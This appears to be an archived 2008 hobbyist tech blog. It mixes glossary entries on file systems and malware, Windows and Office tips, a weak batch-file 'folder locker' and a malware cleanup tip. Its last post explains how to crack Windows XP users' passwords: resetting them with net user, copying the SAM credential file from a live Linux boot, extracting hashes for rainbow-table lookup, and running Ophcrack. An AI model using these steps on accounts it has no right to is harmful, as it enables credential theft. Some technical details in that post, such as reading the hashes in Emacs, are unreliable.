Gohan_(Dilip Sharma) [Hacker Zone]

One Stop For All Your Computer Needs... DILIP SHARMA (89623-65190)

2010-12-24T07:16:00.000-08:00

DILIP SHARMA - 89623-65190

NTFS , FAT, HPFS, FNODE & Super Block

2008-07-12T03:26:00.000-07:00

NTFS
Short for New Technology File System, NTFS is a file organizational system that stores and accesses information located on Microsoft Windows NT, Windows 2000, Windows XP operating system. NTFS offers better methods of data protection and file recovery than previous versions of FAT.

Additional information on NTFS can be found on document CH000165.

Additional information about determining the type of file system on a hard disk drive can be found on document CH000713.

FAT
Short for File Allocation Table, FAT is a method used by Microsoft operating systems to keep track of the contents of a disk; the table is a chart of numbers that correspond to cluster addresses on the hard drive.
FAT12: The oldest type of File Allocation Table that uses 12-bit binary system. A hard disk drive formatted using FAT12 can use a maximum of approximately 16,736,256 volume size and today is no longer used. If your computer is running Windows 95 or above and your FAT within FDISK is being displayed as FAT12 it is likely that your hard disk drive is corrupted, bad or has a computer virus.

FAT16: FAT utilizing a 16-bit binary system. Commonly found with Windows 3.x through Windows 95. FAT16, while becoming obsolete by FAT32, is still commonly found.

FAT32: Enhanced File Allocation Table utilizing a 28-bit binary system, first used in Windows 95 OSR2 and more so in Windows 98, that saves disk space by using 4k Cluster. See FAT32 Page for extended information about FAT32.

HPFS
Short for High-Performance File System, HPFS is a file system first introduced with IBM OS/2 1.2. HPFS is available on OS/2 1.2 and above as well as with Microsoft Windows NT 3.0. HPFS supports long file names and large hard drives when compared to FAT.
HPFS supports a maximum of 64 GBytes
HPFS386 is a 32-bit Version of HPFS used with IBM LAN Server Advanced and Warp Server Advanced.
Overall, HPFS is not commonly found or used with today's computers and servers.

FNODE
Each file on a HPFS volume has an object known as the FNODE. The FNODE points to the file's data and contains such information as the access history.

Super Block
Section of a computer hard disk drive that contains information about the file system. The majority of computer file systems have some type of a super block.
Linux users may receive an incorrect or bad super block error message when attempting to mount a drive disk drive improperly.

MBR virus

2008-07-12T03:22:00.000-07:00

A type of computer virus that modifies and/or infects the Master Boot Record, generally causing the computer to lose CD-ROM support and/or cause Microsoft Windows to run in compatibility mode.

Lock

2008-07-12T03:11:00.001-07:00

To prevent access to something until unlocked. For example, a user may lock access to the computer to prevent any unauthorized access while he or she is gone.
Permanently enable something until disabled or unlocked. For example, the caps lock permanently enables capitalization on the keyboard until it is pressed again.
A physical lock on a computer that prevents it or an attached peripheral from being taken.
Short for lock up.
A small symbol shown when data sent over an Internet browser is secure. See document CH000507 for additional information about this.

Resident virus

2008-07-12T03:10:00.000-07:00

A type of computer virus that stores itself within memory allowing it to infect files instantaneously and does not require the user to run the file to infect files.

Trusted Execution Technology

2008-07-12T03:09:00.000-07:00

Formerly known as LaGrande Technology, Trusted Execution Technology is a set of hardware extensions on Intel processors and chipsets that help protect a computer and software running on the computer by creating environments where software applications can run within their own space.

Trojan horse

2008-07-12T03:08:00.004-07:00

A program or utility that falsely appears to be a useful program or utility, such as a screen saver. However, once installed, it performs a function in the background such as allowing other users to have access to your computer or sending information from your computer to other computers.

Windows Defender

2008-07-12T03:08:00.003-07:00

A free software protection program provided by Microsoft that helps protect computers running Microsoft Windows from spyware and other malware (note: not a antivirus protection program). This program is available for Microsoft Windows 2000, XP, and later versions of Windows and is must be downloaded before it can be used.

The official Microsoft Windows Defender page and download can be found here.

Windows Defender

2008-07-12T03:08:00.001-07:00

Worm

2008-07-12T03:07:00.001-07:00

First developed by John Shoch and Jon Hupp at Xerox PARC in 1978, a worm is a destructive software program containing code capable of gaining access to computers or networks, and once within the computer or network, causes that computer or network harm by deleting, modifying, distributing, or otherwise manipulating the data.
Short for Write Once Read Many, WORM is a type of CD that can be written to and then read from thereafter. See CD-R for additional information.

Also see: Security definitions, Storage, Trojan Horse, Virus

Virus

2008-07-12T03:01:00.000-07:00

A software program first written Rich Skrenta in 1982 who was a 15-year old high school student. Known as The Elk Cloner this virus spread to other computers by monitoring the floppy drive and copying itself to any floppy diskette that was inserted into the computer. Once a floppy diskette became infected it would infect all other computers that disk was inserted into, each computer that was infected would then infect every floppy diskettes inserted into it. A computer that was infected would also display a short poem on every 50th boot.
Fred Cohen in 1983 later coined the term virus in a 1984 research paper as "a computer program that can affect other computer programs by modifying them in such a way as to include a (possibly evolved) copy of itself." Today a computer virus is a software program, script, or macro that has been designed to infect, destroy, modify, or cause other problems with a computer or software programs. Users can protect themselves and remove any viruses on the computer by installing an antivirus protection program, which is designed to detect, protect, and clean any computer viruses.

For more information on computer viruses, see our virus info page.
Information about creating a virus is found on document CH000653.
Information about how your computer becomes infected with spyware, viruses and other malware can be found on document CH001045.
Also see: Antivirus, Boot sector virus, CMOS virus, Companion virus, Executable virus, Hoax, Intruder, Logic bomb, Macro virus, MBR virus, Multipart virus, Non resident virus, Overwrite virus, Polymorphic virus, Resident virus, Stealth virus, Trojan horse, Vaccine, Security definitions, Worm, Zoo

Computer hardware tips

2008-07-12T03:00:00.000-07:00

1/2007 - Windows XP mouse Snap To

Enable the Microsoft Window XP mouse Snap To feature to automatically focus on dialog box buttons. Enabling this feature will automatically move your mouse cursor to the default button on any dialog box that appears on Windows. This is a great way to save a little time and not have to move you mouse cursor to the "Ok" button each time a dialog box appears. To enable this feature follow the below steps.

Click Start, Settings, Control Panel.

Double-click the Mouse icon

In the Mouse Properties window click the Pointer Options tab and check the "Automatically move pointer to the default button in a dialog box" option.

6/2006 - Computer Mouse

Using the mouse in combination with the keys on your keyboard can give you several different advantages and help improve your overall productivity on the computer. Below are just a few examples.

Almost all text editors

Many text editors or programs that allow you to edit text support the ability to quickly highlight all or portions of text by using the Shift key and the mouse. For example, move the cursor to the beginning of the text you wish to highlight, hold down the shift key, and click at the end of the text you wish to highlight. If supported and done properly this will highlight all text in-between the points you clicked.

Microsoft Word

In Microsoft Word holding down the ALT key on your keyboard while clicking and dragging your mouse and you will be able to drag a box and highlight only portions of text and not the whole line.

Windows Explorer and many other file

Microsoft Windows Explorer and other file managing programs allow users to select multiple files by holding down the CTRL key and clicking each file or folder they wish to select or hold down the shift key and selecting multiple files at once.

Microsoft Internet Explorer, Mozilla Firefox, and other browsers

Users who visit a website with tables and wish to only select one row of that table can hold down the CTRL key and click and drag on the text in the row they wish to copy.

Mozilla Firefox users

Mozilla Firefox users can also hold down the CTRL key and individually click on each cell they wish to copy.

Microsoft Windows tips

2008-07-12T02:59:00.000-07:00

Below is a listing of various tips that can be used with most Microsoft Windows. Some of the below tips may list a date next to them for the month and year that they were featured in our monthly tip section.
Creating custom folder icons
Windows command prompt
Windows selective startup
Save Windows searches
Display hibernate option in XPs Turn off computer box
Quickly move files or other objects to the Desktop
Quickly get to the Windows Desktop
Run a web page
Quickly find icon and/or file
Windows XP mouse Snap To
Windows 2000 & XP Task Manager
Delete files without getting a prompt
Windows XP Explorer multiple renames
Keep a log with Microsoft Notepad
MS-DOS autocomplete in Microsoft Windows 2000 and above
Prevent automatic restart in Windows XP
Microsoft Windows search using Google
Quickly open system properties window
Enable the Windows single-click option
Quickly see all file associations
Improve the overall appearance of fonts
Access and control other computers
Alphabetize icons in your start menu
Selectively print sections of a document
Quickly get to the root directory of a drive
Easy undo
Quickly open system properties
Create an accessible bar
Open programs in the background of explorer
Quickly change the association of a file
Quickly maximize a window
Close multiple programs in one click
Manage start menu icons from the start menu
Quickly access Windows Help
Add shortcuts to the desktop
Quickly add shortcuts to the start menu.
Create a send to shortcut.
Copy / Move / Delete multiple files.
Make files not go to the recycle bin
Other Windows 98 tips and tricks
Microsoft Windows shortcuts
Back to tips main page

Create custom folder icons

Create a customized looking folder in Microsoft windows by saving one of the images or a copy of an image in the folder as folder.jpg. Once this has been done if you're viewing the folders in Thumbnail view that folder will display the folder.jpg image on top of the traditional folder.

Additional information about how to change the view in Windows including switching to Thumbnail view can be found on document CH0001015.

Windows command prompt

The Microsoft Windows command prompt is an invaluable tool that can be used in conjunction with Windows. Below are some helpful shortcuts and tips that can be used to improve your abilities while in the command prompt. Users not familiar with how to enter the command prompt can find additional information about this in document CHDOS.

Press the up arrow key to scroll through all previously typed commands at the prompt. This is helpful for when you need to type long commands in more than once. Note. If
Pres the tab key to auto-complete the names of directories or files. For example, at C:\ type: "cd wi", press tab and the command prompt should complete WINDOWS as the name of the directory.
Familiarize yourself with the top MS-DOS commands and each of their available switches.
Windows Selective Startup

Improve overall system performance and boot time and get rid of programs you don't want running in the background by choosing to do a Selective Startup in msconfig.

Click Start, Run and type: msconfig and press enter.
In the System Configuration Utility click the Startup tab.
Uncheck programs you do not wish to load each time your computer starts. Once done click ok and restart the computer. After the computer boots back into Windows you will receive a prompt about Windows being in a selective startup. Check the box to not receive the prompt and click ok.
Saving Windows XP and later searches

Save your frequent Windows XP and later version searches for future use by following the below steps.

Open the search and enter the search queries you wish to save. For example, you could save a search to find any remix mp3 files by entering: *remix*.mp3 in the all or part of name box.
Once the values have been entered test the search and allow you to save the search.
In the Search Results window click File and then Save Search.
Finally, browse to the location you wish for this file to be saved and name the file with a .fnd extension.
After completing these steps you'll be able to quickly perform a search by simply double-clicking the file.

Display hibernate option in XPs Turn off computer box

When shutting down or turning off the computer you'll get three options: Standby, Turn Off, and Restart. For users who wish to hibernate their computer you can easily display this option by holding down the Shift key on the keyboard.

Quickly move files or other objects to the Desktop

Quickly drag one or more files to the Windows Desktop with other open windows by dragging and holding the files over an empty portion of the Windows Taskbar. If done properly all open windows should minimize and allow you to place the files or other objects on the Desktop.

Quickly get to the Windows Desktop

Quickly get to the Microsoft Windows Desktop by pressing the Windows key and D at the same time on the keyboard.

Run a web page

Get to a web page quickly in Windows when no browser window is open by typing the web address in the run line. For example, click Start, Run and in the Run Open box type: http://www.computerhope.com and press enter to quickly get to the Computer Hope web page.

Quickly find icon and/or file

Quickly find an icon in a group of icons or a specific item in an alphabetic list of items by highlighting one of the icons or list items and pressing the beginning letter of the item you're looking for. Below are some examples of how this could be used.

Windows desktop icons - If you have a lot of icons on your desktop or in another folder highlight one of the icons and press the first letter. For example if you were looking for an icon named "test" highlight any icon and then press the "t" key. Note: you can also press the "t" key multiple times to individually highlight each icon that starts with "t".

Internet drop down list - Instead of scrolling through a list of options in an Internet drop down list press the first letter of the option you're looking for. For example, if you were looking through a list of states and you wanted "Utah" press U to automatically scroll down to it.

Windows XP mouse Snap To

Enable the Microsoft Window XP mouse Snap To feature to automatically focus on dialog box buttons. Enabling this feature will automatically move your mouse cursor to the default button on any dialog box that appears on Windows. This is a great way to save a little time and not have to move you mouse cursor to the "Ok" button each time a dialog box appears. To enable this feature follow the below steps.

Click Start, Settings, Control Panel.

Double-click the Mouse icon

In the Mouse Properties window click the Pointer Options tab and check the "Automatically move pointer to the default button in a dialog box" option.

Windows 2000 & XP Task Manager

Quickly access the Microsoft Windows Task Manager to view running applications, process information and performance information by pressing Ctrl + Shift + Esc keys all at the same time.

Delete files without getting a prompt

Delete files faster by removing the "Are you sure you want to delete" Microsoft Windows confirmation box by right-clicking the Recycle Bin icon on the desktop, click Properties and uncheck "Display delete confirmation dialog".

Windows explorer multiple renames

Quickly and easily rename multiple files in Microsoft Windows XP Explorer by following the below steps.

1. Open Explorer.
2. In Explorer select all the files you wish to rename. Additional information about how to select multiple files can also be found on document CH000771.
3. Once the files have been selected press F2 and type the new name for the files. For example, typing "test" will rename the files to test, test(1), test(2), test(3) etc. If you have file extensions shown make sure to also type the name of the file extension you're renaming.

Keep a log with Microsoft Notepad

Keep a log easily using Microsoft Notepad by opening a new text file in Microsoft Notepad or an existing text file in Notepad and adding ".LOG" (without the quotes) at the beginning of the file. Now each time the file is opened in Notepad a time and date stamp will be automatically added.

MS-DOS autocomplete in Microsoft Windows 2000 and above

Open the Microsoft Windows registry editor by clicking Start / Run / type Regedit and click ok.
In the Microsoft Windows registry editor open the below folders.

HKEY_LOCAL_MACHINE
Software
Microsoft
Command Processor

In the command processor open the below two registry keys and change their value to 9.

CompletionChar
PathCompleteChar

Once the above steps have been completed close out of the registry editor and open the command window by typing cmd in the Start / Run window. To use the auto complete feature press the tab key any type you wish to complete a directory. For example, if the directory you are currently in contains the "Program files" directory you could type "cd pr" and press tab, to have the auto completion option automatically type "cd "program files"".
Prevent automatic restart in Windows XP

Make your computer not automatically restart or reboot each time an error occurs by following the Windows XP step in document CH000605.

Microsoft Windows search using Google

Get a much more efficient search on text files, Microsoft Outlook & Outlook Express files, AOL Instant Messenger chat logs, Microsoft Word, Microsoft Excel, Microsoft PowerPoint, and Internet cache by using the Google Desktop Search.

Enable the Windows single-click option

Users who have a hard time double-clicking or may be used to single-clicking an item to open it may wish the eliminate the double-click option in Windows. Open My Computer, Click Tools, Click Folder Options, in the General tab select the single-click to open an item option.

Quickly open system properties window

Quickly open the system properties window by holding down the ALT key and double-clicking My Computer.

Quickly see all file associations

Quickly and easily view computer file associations by using the MS-DOS assoc command.

Improve the overall appearance of fonts

Improve the overall appearance and look of your computer fonts in all programs by enabling Windows smooth fonts. Additional information about how to do this can be found on document CH000557.

Windows XP Users (5/1/2004):

Get better font resolution and clarity by enabling Window's XP ClearType. See our ClearType dictionary definition for additional information.

Access and control other computers

Easily and freely control multiple computers running any number of operating systems from one computer using VNC.

The latest version of VNC can be downloaded directly from their website here.

Alphabetize icons in your start menu

Quickly and easily alphabetize the icons in programs on your start menu by right-clicking within programs on the start menu and clicking on "Sort by Name".

Selectively print sections of a document

Save on your printer ink by selectively printing in Windows programs such as Microsoft Word, Internet Explorer, WordPad, Outlook, etc. To do this highlight portions of text you wish to print and click print. In the printer dialog window under Page Range choose the option Selection. It is important to realize that not all programs or printer drivers support this feature.

Quickly get to the root directory of a drive

Quickly display your root directory or network home directory in Windows XP by clicking Start / Run and in the open field type two periods ( ..) and press enter or click ok.

In Microsoft Windows 2000 this will open your "Document and Settings" directory.

Easy undo

Quickly undo mistakes in the majority of most PC Windows program by pressing CTRL + Z.

Quickly open system properties

Quickly open the System Properties by pressing the Windows key and the Pause key at the same time. This is a great thing to remember if you find yourself needing to get into the Device Manager frequently.

Create an accessible bar

Create an accessible bar by following the below steps:

From the Windows Desktop create a folder.
Highlight the folder and drag it to one of the edges of your screen.
Once the folder is at the edge of the desktop let the mouse button go.
This should create a bar, with the contents of the folder used. Once created set the bar to auto hide and be always on top by right-clicking the bar.

Open programs in the background of explorer

Open and run programs in the background of Explorer by holding the Shift key in Windows Explorer double-click an icon. Once the program has been executed it will be open in the background of the explorer window.

Quickly change the association of a file

Quickly change the association of a file by holding down the Shift key, right-clicking a file and choosing open with.

Quickly maximize a window

Quickly maximize a window by double-clicking on the top title bar of the window.

Close multiple programs in one click

To close all open application in one click hold down the Ctrl key and individually click each of the open programs on the task bar once all buttons are selected click on one of the selected buttons with the right mouse button and click close.

Manage start menu icons from the start menu

Windows 98 and above users are now able to manage their start menu icons by right-clicking the start menu and/or the icons.

Quickly access Windows Help

Quickly access the Windows Help by pressing the F1 key from the Windows desktop.

Add shortcuts to the desktop

Easily create shortcuts on your desktop by clicking the program you wish to create a short of and right-clicking and dragging that icon to the desktop. When letting go of the mouse button you should have an option to create a shortcut here.

Quickly add shortcuts to the start menu

Users can quickly add icons to their start menu by dragging icons to the start button.

Create a send to shortcut

Send to is a feature that enables users to send programs to an alternate location or a location where you store all your files. An example of the send to feature is right-clicking a file and clicking send to and then the floppy disk drive. Users can create their own send to destinations by following the below steps.

Microsoft Windows 95 / 98 / ME users

Create a shortcut in the windows\sendto directory

Other Windows users

Create a shortcut in the documents and settings\\sendto directory.

Note: is the name of the user logging into the computer. In addition it is possible that the sendto directory is hidden.

Copy / Move / Delete multiple files

When selecting files you can highlight the first file then hold down your shift key and highlight the last file and this will highlight all files in between. To select individual files you can highlight a file hold down your Ctrl key and highlight other files you wish to select.

Make files not go to the recycle bin

When pressing or choosing delete to remove a program you can hold your shift key and it will not send it to the recycle bin.

Microsoft Word Tips

2008-07-12T02:58:00.000-07:00

4/2006 - Microsoft Word

Press CTRL + ALT + Z or Command Option + Z on the Apple to automatically go back to where your cursor has been previously. This is great for those times you move to the another page or paragraph in a document and need to go back where you came from.

Delete one full word back by pressing and holding down the CTRL key and pressing the backspace key or if you're on a Apple press and hold the Command key and the backspace key.

2/2006 - Microsoft Word

Type "=rand(8,10)" (without the quotes) and press enter in Microsoft word to have Microsoft Word automatically generate a bunch of text that can be used to test page formatting, fonts, etc.

10/2005 - Microsoft Word

Easily copy how text is formatted to other text by using the Microsoft Format Painter option. For example, if you have a heading in Microsoft Word that has font, size, or other format you like highlight that text, click the paintbrush icon in the formatting toolbar and then highlight the text you wish to have the same type of format.

3/2005 - Microsoft Word

Quickly zoom in and out of a Microsoft Word document by holding down the CTRL button and scrolling the wheel on your mouse.

3/2004 - Microsoft Word

Quickly move the cursor to the location it was at when the document was last saved by pressing SHIFT + F5.

11/2003 - Microsoft Word / Excel / Front Page

Quickly create hyper links in your Microsoft Word, Excel, or Front Page document by highlighting text and pressing "CTRL + K".

8/2003 - Microsoft Word / Excel

Close all open Microsoft Word and/or Excel files by holding down the shift key and clicking "File" and then "Close All".

6/2003 - Quickly open the recent files by first pressing "ALT + F" to open the file Menu and press 1, 2, 3, or 4

Quickly open the recent files by first pressing "ALT + F" to open the file Menu and press 1, 2, 3, or 4.

3/2003 - Microsoft Office applications

This tip works with the majority of Microsoft Office applications. Easily create an underlined space by pressing CTRL + U to start the underline, then press SHIFT + Space for each underlined space you wish to create. An example of how this could be used is for printable forms, for example: Name: .

11/2002 - Microsoft Word and above

Quickly insert bullets into Microsoft Word by typing an asterisk, a space, and then your sentence. When enter is pressed Microsoft Word will automatically change your asterisks to a bullet and text proceeding that text. Below is an example of what this may look like:

* this will bullet.

This can also be done with dashes ( - ), and numbers (1. or 1) ).

8/2002 - Most Microsoft Windows programs / Printers

Save on your printer ink by selectively printing in Windows programs such as Microsoft Word, Internet Explorer, WordPad, Outlook, etc. To do this highlight portions of text you wish to print and click print. In the printer dialog window under Page Range choose the option Selection. It is important to realize that not all programs or printer drivers support this feature.

7/2002 - Microsoft Office - Repeat Action

Using the F4 key in Microsoft Office 2000 and above allows the user to repeat the last used action. For example, if you have changed the font of a selected text and wish to change another portion of text to the same font, pressing F4 will do this for you automatically.

4/2002 - Microsoft Word, other word processors and text programs

Quickly enlarge text in Microsoft Word and most other PC text programs by first highlighting the text and pressing CTRL + Shift + > or press and hold CTRL + Shift + < to decrease the size of text. Additional shortcuts can be found on our shortcut page.

9/2001 - PC Windows Shortcut key

Quickly undo mistakes in the majority of most PC Windows program by pressing CTRL + Z. Additional shortcuts can be found on our shortcut page.

Microsoft Excel tips

2008-07-12T02:56:00.000-07:00

Below is a listing of various tips that can be used Microsoft Excel. Some of the below tips may list a date next to them for the month and year that they were featured in our monthly tip section.
Auto sum shortcut key
Create hyper links in Excel
Close all open files at once
Quickly open recently opened files
Create underlines without any text
Print only sections of a document
Repeat recent action
Quickly undo
Quickly copy above cell contents
Using the Microsoft Excel Auto filter
Microsoft Excel Shortcuts
Back to tips main page

Auto sum shortcut key

Quickly create a Microsoft Excel formula to get the sum of all cells by highlighting the cells you wish to know the value of and pressing ALT and = .

Create hyper links in Excel

Quickly create hyper links in your Microsoft Word, Excel, or Front Page document by highlighting text and pressing "CTRL + K".

Close all open files at once

Close all open Microsoft Word and/or Excel files by holding down the shift key and clicking "File" and then "Close All".

Quickly open recently opened files

Quickly open the recent files by first pressing "ALT + F" to open the file Menu and press 1, 2, 3, or 4.

Create underlines without any text

This tip works with the majority of Microsoft Office applications. Easily create an underlined space by pressing CTRL + U to start the underline, then press SHIFT + Space for each underlined space you wish to create. An example of how this could be used is for printable forms, for example: Name: .

Print only sections of a document

Save on your printer ink by selectively printing in Windows programs such as Microsoft Word, Internet Explorer, WordPad, Outlook, etc. To do this highlight portions of text you wish to print and click print. In the printer dialog window under Page Range choose the option Selection. It is important to realize that not all programs or printer drivers support this feature.

Repeat recent action

Using the F4 key in Microsoft Office 2000 and above allows the user to repeat the last used action. For example, if you have changed the font of a selected text and wish to change another portion of text to the same font, pressing F4 will do this for you automatically.

Quickly undo

Quickly undo mistakes in the majority of most PC Windows program by pressing CTRL + Z.

Quickly above cell contents

In Microsoft Excel press CTRL + SHIFT + " to copy the above cells contents.

Using the Microsoft Excel Auto filter

Organize cells quickly by using Microsoft Auto filter. Columns that contains long listing of data can be easily sorted by using the Auto filter option, to use this option select the top rows of the columns you want to be used and select Data / Filter and Auto Filter. Once successfully completed you can use drop down arrows to filter the data automatically.

Apple Macintosh shortcut keys

2008-07-12T02:55:00.000-07:00

Please note that not all of the below shortcut keys will work in all versions of Mac OS.

Open Apple + Down Opens the selected icon.
Shift + Click Select the icon and add it to the set of those selected.
Tab Highlight the next icon inside the folder, in alphabetical order.
Shift + Tab Highlight the previous icon inside the folder, in alphabetical order.
Left arrow Used when viewing by icon to select the icon to the left of the one highlighted.
Right arrow Used when viewing by icon to select icon to the right of the one highlighted.
Up arrow Used to select the icon above the one currently highlighted.
Down arrow Used to select the icon below the one currently highlighted.
Open Apple + ? Mac help
Open Apple + E Eject
Open Apple + Shift + Up Arrow Used to direct the input focus to the desktop level.
Open Apple + M Minimize window
Open Apple + N New finder window
Open Apple + Shirt + N New folder
Open Apple + W Close the current window.
Open Apple + C Copy the elected item to the clipboard.
Open Apple + X Cut the selected item.
Open Apple + V Paste item from the clipboard
Open Apple + L Make alias
Open Apple + R Show original item
Open Apple + T Add to favorites
Open Apple + O Open the selected icon.
Open Apple + F Display the find dialog box.
Open Apple + G Repeat the last find operation.
Open Apple + Shift + G Takes a snapshot of the screen and saves it to a PICT file.

Miscellaneous computer tips

2008-07-12T02:53:00.000-07:00

Technical support phone calls

When calling technical support or customer service it's often frustrating having to go through each of the voice prompts just to reach a human who can assist you, which is why this months tip is a link to gethuman. This site is a database of 500 of the top companies, their phone numbers and how to get directly to a human.

For example, when calling Dell Technical Support you would press 3; say "agent" at each additional prompt, ignoring messages to get directly to someone who can assist you with your problem.

View all browser settings, plugins, and other system information

Computer Hope recently introduced a new web tool called: Computer Hope System Information, visiting this page you'll be able to quickly display all system information detected, installed browser plugins and their versions and much more information in any browser.

Detect if a web page is up and working

Computer Hope has released another free online utility called "Is it up", which allows you to quickly check the status of any website on the Internet and be able to identify if it's your computer or the website that is causing you problem.

Google 10 tips

2008-07-12T02:51:00.000-07:00

Below is a list of our top ten Google tricks many users don't know about.

Definitions - Pull up the definition of the word by typing define followed by the word you want the definition for. For example, typing: define bravura would display the definition of that word.
Local search - Visit Google Local enter the area you want to search and the keyword of the place you want to find. For example, typing: restaurant at the above link would display local restaurants.
Phone number lookup - Enter a full phone number with area code to display the name and address associated with that phone number.
Find weather - Type weather followed by a zip code or city and state to display current weather conditions and forecasts for upcoming days.
Track airline flight - Enter the airline and flight number to display the status of an airline flight and it's arrival time. For example, type: delta 123 to display this flight information if available.
Track packages - Enter a UPS, FedEx or USPS tracking number to get a direct link to track your packages.
Pages linked to you - See what other web pages are linking to your website or blog by typing link: followed by your URL. For example, typing link:http://www.computerhope.com displays all pages linking to Computer Hope.
Find PDF results only - Add filetype: to your search to display results that only match a certain file type. For example, if you wanted to display PDF results only type: "dell xps" filetype:pdf -- this is a great way to find online manuals.
Calculator - Use the Google Search engine as a calculator by typing a math problem in the search. For example, typing: 100 + 200 would display results as 300.
Stocks - Quickly get to a stock quote price, chart, and related links by typing the stock symbol in Google. For example, typing: msft will display the stock information for Microsoft.

”Orkut Has Been Banned You Fool” Problem

2008-07-10T05:55:00.000-07:00

Its one of the most common problems, a pop-up appears saying ”Orkut has been banned you fool, the administrator did not write this rpogram, guess who did” & plays a annoying buhahahaha sound in the background,

well here is the solution for it,

Download first hijackthis from Trend Micro
Run it .. And it will display lots of processes which are running
in your system
Look for entries like this
1. heap41a\svchost.exe
2. heap41a\std.txt
Delete These entries …
If you delete other svchost.exe the windows warning will be seen
and it will restart your system only……..
After That Just Use search to search for “heap” tick
the hidden and system folder option then you will be able to see
a hidden folder named heap41a delete it….

Lock folders without any Softwares

2008-07-10T05:53:00.000-07:00

Lock your folder without using any software, use this self made custom program to serve your purpose.
Copy the following program

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"

if NOT %pass%==type your password here goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End

now go for following few steps
1>copy above program into notepad.
2>the text which is written in bold letters delete it & type your password there.
3>save that file by extension .bat ( name is Your choice)
4>now on Your screen there is a bat file appear.
5>double click on that file.
6>you will see the locker folder.
7>save the files in that folder.
8>double click on that folder & lock that folder
9>after locking that folder it will become hidden.
10>to open that folder double click on that bat file
11>type your password & open that folder..

How it works

first try this:-

Suppose you want to lock the folder xyz in e: which has the path e:\xyz.In the same drive create a text file and type
ren xyz xyz.{21EC2020-3AEA-1069-A2DD-08002B30309D}
Now save this text file as lock.bat

Create another text file and type in it
ren xyz.{21EC2020-3AEA-1069-A2DD-08002B30309D} xyz
Now save this text file as unlock.bat

Now you can see 2 batch files lock and unlock.

Explanation:-

Press lock and the folder xyz will change to control panel and you cannot view its contents.Press unlock and you will get back your original folder.
Thats exactly the program above does…it creates a folder and when you lock it, it gets converted to the control pannel and when you unlock it vice versa takes place and you get your folder back..

Special notes:-

As this is a simple .bat file anyone can right click it and edit it. To get out of this i will advise you to convert it into an .exe file. Many softwares are available on the net, google out.

Convert any Folder into almost anything.

2008-07-10T05:51:00.000-07:00

Following is a method by which u can convert any folder into either Control Panel, Recycle Bin, My Computer or Internet Explorer.

This is done by adding their respective registry keys to the folder’s name. After this when you’ll double click on the folder, either Control Panel, Recycle Bin, My Computer or Internet Explorer will open according to your choice. Actually that folder is then treated by Windows as a link to any of these four. The folder will remain intact with all its data and no one can access that folder via Windows. It can only be accessed via Command Prompt or some third party app.

To Convert Folder Into Contol Panel, Rename With Adding
.{21EC2020-3AEA-1069-A2DD-08002B30309D}

To Convert Folder Into Recycle Bin, Rename With Adding
.{645FF040-5081-101B-9F08-00AA002F954E}

To Convert Folder Into My Computer, Rename With Adding
.{20D04FE0-3AEA-1069-A2D8-08002B30309D}

To Convert Folder Into Internet Explorer, Rename With Adding
.{871C5380-42A0-1069-A2EA-08002B30309D}

Eg:- If you have a folder ABC, to convert it into Control Panel, rename the folder as
ABC.{21EC2020-3AEA-1069-A2DD-08002B30309D} After this, the key should disappear and act as an attribute. And if it doesn’t, then also no problem, as the folder will start working the way you want it to.

To re-enable your folder to be accessible via Windows, go to command prompt and rename the folder there. Eg:- If the folder is in C:\Temp\ABC, then get to C:\Temp in the command prompt and type:
ren ABC.{21EC2020-3AEA-1069-A2DD-08002B30309D} ABC

(Command Prompt supports CLIPBOARD. Copy-Paste will work there.)
Your folder will be back to normal state.
This method can be used to protect any data, but it will not provide reliable security to the data.
You can also search the registry for more relevant keys like these

This post covers most of the ways of cracking windows XP users’ password.

2008-07-10T05:48:00.000-07:00

Method 1:

If you have an administrator account (Not Guest)

then the XP users’ passwords can be reset using command prompt.

Go to the task-bar and click on the Start button, then click on run and in the place given on dialog box type “command”, press enter.

Now In the Command prompt type “net user”
the screen will display the list of users available on machine

suppose there are three administrator users with the name of admin1, admin2 and admin3

then the password of any user can be changed by logging into the account of any one administrator

for example if we want to change the password of admin1

then we can change it from the following command

net user admin1 password

similarly for other desired users

The general syntax is for changing password is

net user

Limitations: The above method will only work if you are logged in as the administrator user.

Method 2:

Windows Recovery option,

Boot from the Windows XP CD and press enter when you are prompted to Install Windows copy, on the next screen there is a repair existing Windows version. This method is also known as windows recovery method,

The repair option will take as much time as the installation would have taken because the Windows file-system is replaced including the SAM file where the password is stored.

C:\Windows\System32\config\sam

whereas the users’ setting remain untouched.

Thus the users’ password is reset to NULL value.

Method 3:

Boot your computer from a live Linux CD or DVD which has an NTFS/HPFS file-system support.

Then Mount the drive which has Windows copy installed on it. Copy the sam file on the location

C:\Windows\System32\config\sam

Which will be mentioned as /media/disk-1/Windows/System32/config/sam

It is a common misconception that sam file can be viewed through normal text editor, sam file isnt a normal text file.

Gnome, KDE or vim text Editors won’t display the content of this file

Open the file using Emacs Editor (available in nearly all the distributions of Live Linux). It will be hard to find the the password hashes, so go for the user-names which are not encrypted, just after the user-names passwords’ hashes can be found out, copy the code between “%” sign and on the the Google search for the rainbow tables, They will provide the decrypted value which have already been brute-forced earlier. This is isn’t a sure shot method, as the rainbow project is still under development. The password can be set to NULL by deleting the content, but this might result in the corruption of the sam file, and recovery is the only option left after it.

Limitations: This Method can corrupt your SAM file, which may lead to a repair of Windows XP, and you can risk your personal data with that.

Method 4:

OPHcrack method.

This is a sure shot password recovery method based upon bruteforcing.

This Live CD is based upon the slax LiveCD v.5.1.7. It has been customized to include ophcrack 2.3.3 and the SSTIC04-10k tables set. It is able to crack 99.9%% of alphanumeric passwords. Since the tables have to be loaded into memory, cracking time varies with the amount of available RAM. The minimum amount of RAM required is 256MB (because the LiveCD uses a lot of it). The recommended amount is 512MB. Ophcrack will auto-detect the amout of free memory and adapts its behaviour to be able to preload all the tables it can.

